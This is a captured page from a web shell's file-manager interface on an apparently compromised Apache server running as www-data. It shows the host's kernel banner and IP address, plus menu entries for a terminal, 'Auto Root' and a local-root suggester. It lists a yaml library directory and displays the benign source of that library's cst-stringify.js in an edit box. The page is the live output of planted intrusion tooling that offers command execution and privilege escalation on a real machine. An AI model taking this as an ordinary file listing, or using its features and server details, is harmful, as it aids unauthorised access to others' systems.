Linux v69820.1blu.de 4.15.0 #1 SMP Mon Sep 30 15:36:27 MSK 2024 x86_64
Apache/2.4.58
Server IP : 195.90.215.149 & Your IP : 216.73.217.80
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
usr /
share /
nodejs /
yaml /
dist /
parse /
Delete
Unzip
Name
Size
Permission
Date
Action
cst-scalar.d.ts
3.45
KB
-rw-r--r--
2024-02-26 08:46
cst-scalar.js
9.15
KB
-rw-r--r--
2024-02-26 08:46
cst-stringify.d.ts
313
B
-rw-r--r--
2024-02-26 08:46
cst-stringify.js
1.76
KB
-rw-r--r--
2024-02-26 08:46
cst-visit.d.ts
2.22
KB
-rw-r--r--
2024-02-26 08:46
cst-visit.js
3.89
KB
-rw-r--r--
2024-02-26 08:46
cst.d.ts
3.36
KB
-rw-r--r--
2024-02-26 08:46
cst.js
3.17
KB
-rw-r--r--
2024-02-26 08:46
lexer.d.ts
2.86
KB
-rw-r--r--
2024-02-26 08:46
lexer.js
22.92
KB
-rw-r--r--
2024-02-26 08:46
line-counter.d.ts
733
B
-rw-r--r--
2024-02-26 08:46
line-counter.js
1.41
KB
-rw-r--r--
2024-02-26 08:46
parser.d.ts
2.5
KB
-rw-r--r--
2024-02-26 08:46
parser.js
33.71
KB
-rw-r--r--
2024-02-26 08:46
Save
Rename
'use strict'; /** * Stringify a CST document, token, or collection item * * Fair warning: This applies no validation whatsoever, and * simply concatenates the sources in their logical order. */ const stringify = (cst) => 'type' in cst ? stringifyToken(cst) : stringifyItem(cst); function stringifyToken(token) { switch (token.type) { case 'block-scalar': { let res = ''; for (const tok of token.props) res += stringifyToken(tok); return res + token.source; } case 'block-map': case 'block-seq': { let res = ''; for (const item of token.items) res += stringifyItem(item); return res; } case 'flow-collection': { let res = token.start.source; for (const item of token.items) res += stringifyItem(item); for (const st of token.end) res += st.source; return res; } case 'document': { let res = stringifyItem(token); if (token.end) for (const st of token.end) res += st.source; return res; } default: { let res = token.source; if ('end' in token && token.end) for (const st of token.end) res += st.source; return res; } } } function stringifyItem({ start, key, sep, value }) { let res = ''; for (const st of start) res += st.source; if (key) res += stringifyToken(key); if (sep) for (const st of sep) res += st.source; if (value) res += stringifyToken(value); return res; } exports.stringify = stringify;